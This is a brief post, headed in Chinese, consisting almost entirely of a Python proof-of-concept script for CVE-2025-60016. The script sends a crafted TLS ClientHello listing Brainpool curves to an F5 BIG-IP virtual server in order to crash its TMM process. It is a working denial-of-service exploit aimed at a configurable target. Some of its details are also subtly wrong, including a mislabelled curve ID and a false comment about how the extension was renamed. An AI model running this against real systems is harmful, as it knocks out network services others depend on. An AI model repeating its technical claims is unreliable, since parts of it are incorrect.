CVE-2025-60016：F5 BIG-IP SSL配置中Brainpool曲线导致TMM终止

# CVE-2025-60016 PoC - F5 BIG-IP TMM DoS via Brainpool ECC Curves # This PoC demonstrates triggering TMM termination by sending # a TLS handshake with Brainpool curves to a vulnerable BIG-IP virtual server # with Brainpool curves configured in SSL profile's Cipher Rule/Group. import socket import ssl import struct import sys TARGET_HOST = "192.168.1.100" # Replace with target BIG-IP VIP TARGET_PORT = 443 # HTTPS port def build_tls_client_hello_with_brainpool(): """ Build a TLS ClientHello message forcing Brainpool curves in the supported_groups extension. """ # TLS record header: ContentType(22=Handshake) + Version(TLS 1.2) + Length # Handshake type: ClientHello (1) # Brainpool curve IDs (from RFC 5639 / IANA) brainpool_p256r1 = 0x001A # brainpoolP256r1 brainpool_p384r1 = 0x001B # brainpoolP384r1 brainpool_p512r1 = 0x001D # brainpoolP512r1 # Supported Groups Extension (renamed from EC Point Formats) supported_groups_ext = struct.pack('!H', len([brainpool_p256r1, brainpool_p384r1, brainpool_p512r1]) * 2) supported_groups_ext += struct.pack('!H', brainpool_p256r1) supported_groups_ext += struct.pack('!H', brainpool_p384r1) supported_groups_ext += struct.pack('!H', brainpool_p512r1) # Extension data extensions = struct.pack('!HH', 0x000A, len(supported_groups_ext)) # supported_groups extension type extensions += supported_groups_ext # ClientHello body client_hello = b'\x03\x03' # Client version: TLS 1.2 client_hello += b'\x00' * 32 # Random client_hello += b'\x00' # Session ID length: 0 client_hello += b'\x00\x02\x00\xff' # Cipher suites: TLS_EMPTY_RENEGOTIATION_INFO_SCSV client_hello += b'\x01\x00' # Compression methods: null client_hello += struct.pack('!H', len(extensions)) # Extensions length client_hello += extensions # Handshake header handshake = struct.pack('!B', 1) # ClientHello type handshake += struct.pack('!I', len(client_hello))[1:] # Length (3 bytes) handshake += client_hello # TLS record tls_record = struct.pack('!BHH', 22, 0x0301, len(handshake)) tls_record += handshake return tls_record def trigger_vulnerability(): """Send the crafted TLS ClientHello to trigger TMM termination.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) payload = build_tls_client_hello_with_brainpool() sock.send(payload) print(f"[+] Sent crafted TLS ClientHello with Brainpool curves to {TARGET_HOST}:{TARGET_PORT}") print("[+] If the target is vulnerable, TMM should terminate shortly") sock.close() except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": trigger_vulnerability()